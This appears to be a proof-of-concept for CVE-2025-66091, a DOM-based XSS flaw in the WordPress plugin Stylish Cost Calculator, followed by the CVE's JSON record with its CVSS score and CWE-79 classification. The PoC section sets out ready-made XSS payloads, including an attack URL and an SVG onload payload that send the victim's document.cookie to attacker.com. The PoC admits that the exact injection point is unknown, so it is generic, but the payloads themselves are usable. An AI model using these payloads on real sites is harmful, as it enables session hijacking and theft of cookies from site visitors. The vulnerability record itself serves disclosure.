CVE-2025-66091

// CVE-2025-66091 PoC - DOM-Based XSS in Stylish Cost Calculator // This PoC demonstrates how an attacker could exploit the DOM XSS vulnerability // Attack vector: Inject malicious script through plugin input fields const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // Example attack scenario: // 1. Attacker crafts a URL or form input with XSS payload // 2. When victim visits the page, plugin's JavaScript processes the input // 3. Plugin uses unsafe DOM manipulation (e.g., innerHTML) to render content // 4. Malicious script executes in victim's browser context // Sample attack URL: // https://victim-site.com/?calculator_input=<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)"> // Alternative payload using SVG: const altPayload = '<svg onload="fetch('http://attacker.com?data='+btoa(document.cookie))">'; // Note: Actual exploitation depends on specific vulnerable code paths // Use browser DevTools to identify exact injection point console.log('PoC for CVE-2025-66091: DOM XSS in Stylish Cost Calculator');

{"cve": {"id": "CVE-2025-66091", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:50.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Design Stylish Cost Calculator stylish-cost-calculator allows DOM-Based XSS.This issue affects Stylish Cost Calculator: from n/a through <= 8.1.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/stylish-cost-calculator/vulnerability/wordpress-stylish-cost-calculator-plugin-8-1-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}